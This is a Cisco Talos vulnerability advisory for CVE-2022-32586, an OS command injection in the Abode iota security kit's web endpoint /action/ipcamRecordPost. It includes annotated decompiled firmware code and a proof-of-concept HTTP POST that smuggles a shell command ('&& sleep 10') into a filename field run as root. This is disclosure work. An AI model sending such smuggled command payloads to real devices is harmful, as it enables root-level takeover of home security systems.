Talos Vulnerability Report

TALOS-2022-1563

Abode Systems, Inc. iota All-In-One Security Kit web interface /action/ipcamRecordPost OS command injection vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-32586

SUMMARY

An OS command injection vulnerability exists in the web interface /action/ipcamRecordPost functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

8.0 - CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device contains a disabled-by-default local web interface that enables an authenticated user to interact with the device. When the `WebServerEnable` configuration parameter is enabled, the features exposed by this web interface are numerous. We are not aware of a method to enable the web server that is intended for use by end-users, though TALOS-2022-1552 or TALOS-2022-1553 would allow a remote unauthenticated attacker to enable the web server.

Of note for this report is the function associated with POST requests destined for `/action/ipcamRecordPost`. The function responsible for handling the request is located at offset `0x1BC91C` of the `/root/hpgw` binary contained in firmware version 6.9Z. This feature allows an authenticated user to delete historical snapshots and recordings from the device SD card.

For reference, the entirety of the decompilation of this function is included below, with annotations.

```
int __fastcall web_ipcam_record_post(mg_connection *conn, mg_request_info *ri)
{
  int payload_len;
  size_t initial_payload_len;
  const char *err_str;
  int num_params;
  char *first_param;
  char *next_param;
  int param_size;
  size_t calculated_size;
  char *buffer;
  char *dest;
  char *elem;
  const char *prefix;
  const char *task;
  int uptime;
  char *state;
  char payload[256];
  char working_buffer[256];
  char decoded_elem[256];

  buffer = 0;

  // [1] Extract up to 255 bytes from the HTTP rqeuest and store it to `payload`
  payload_len = http_collect_payload(conn, ri, payload, 255);
  payload[payload_len] = 0;
  initial_payload_len = strlen(payload);

  // [2] The payload *must* start with `cnt=`
  if ( !startswith(payload, "cnt=") )
  {
    err_str = strtable_get("WEB_ERR_OPERATION_ERR", 21);
    vsnprintf_nullterm(working_buffer, 0xFFu, "%s (%d)", err_str, 1);
    return web_error(conn, 0, working_buffer);
  }

  // [3] `cnt` represents the number of filenames to expect in the payload
  //      extract the integer following `cnt=` using atoi
  num_elems = atoi(&payload[4]);
  if ( num_elems <= 0 )
  {
    err_str = strtable_get("WEB_ERR_ITEM_NOT_EXIST", 22);
    return web_error(conn, 0, err_str);
  }

  buffer = payload;

  // [4] This conditional can be skipped if the request is less than 255 bytes long
  if ( payload_len == 255 )
  {
    first_elem = strchr(payload, '&');
    if ( first_elem && (next_elem = strchr(first_elem + 1, '&')) != 0 )
      elem_size = next_elem - first_elem + 1;
    else
      elem_size = 40;
    calculated_size = elem_size * (num_elems + 1);
    buffer = (char *)malloc(calculated_size);
    if ( !buffer )
    {
      err_str = strtable_get("WEB_ERR_OPERATION_ERR", 21);
      vsnprintf_nullterm(working_buffer, 0xFFu, "%s (%d)", err_str, 2);
      return web_error(conn, 0, working_buffer);
    }
    dest = &buffer[initial_payload_len];
    strcpy(buffer, payload);
    remainder = calculated_size - initial_payload_len;
    n = http_collect_payload(conn, ri, &buffer[initial_payload_len], remainder)
    dest[n] = 0;
  }
  state = 0;

  // [5] Iterate over a tokenizization of the key_1=value_1&key_2=value_2&...
structure
  strtok_r(buffer, "&=", &state);
  elem = strtok_r(0, "&=", &state);
  while ( elem )
  {
    elem = strtok_r(0, "&=", &state);
    if ( !elem )
      break;
    if ( *elem )
    {
      if ( strlen(elem) > 0x10 )
      {
        memset(decoded_elem, 0, sizeof(decoded_elem));
        urldecode(elem, decoded_elem, 255);

        // [6] Construct an OS command to delete the snapshot filename provided in
elem
        vsnprintf_nullterm(cmd, 0xFFu, "rm -rf /mnt/sd/snapshot/%s*", decoded_elem);

        // [7] Execute the OS command as the root user
        popen_write(cmd);

        update_reclist(decoded_elem, "--");
        prefix = strtable_get("LOG_MSG_LOG", 11);
        task = strtable_get("IPCAM", 5);
        write_log(7u, 27, prefix, task, cmd, -1);
      }
    }
  }
  if ( buffer )
  {
    free_helper(buffer);
  }
  return web_success(conn);
}
```

The function operates by `[1]` extracting up to the first 255 bytes of the request body. At `[2]` it enforces a requirement that the first four bytes of the POST body must be `cnt=` followed by a number indicating how many filenames are being submitted for deletion. Steps `[3]` through `[5]` serve to parse each filename from the request body and iterate over them. At `[6]`, each filename will be decoded and injected into an OS command intended to recursively and forcefully delete the file or directory. Finally, at `[7]`, `popen` is called to execute the created command.

A maliciously-formatted and authenticated web request submitted to this endpoint will result in arbitrary command execution.

Exploit Proof of Concept

```
POST /action/ipcamRecordPost HTTP/1.1
Host: 10.1.1.201
Authorization: Basic dXNlcjp1c2VyMTIzNA==
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.74 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.1.1.201/setting/adminUser.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 39

cnt=1&v=necessary_padding+%26%26+sleep+10+%23
```

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.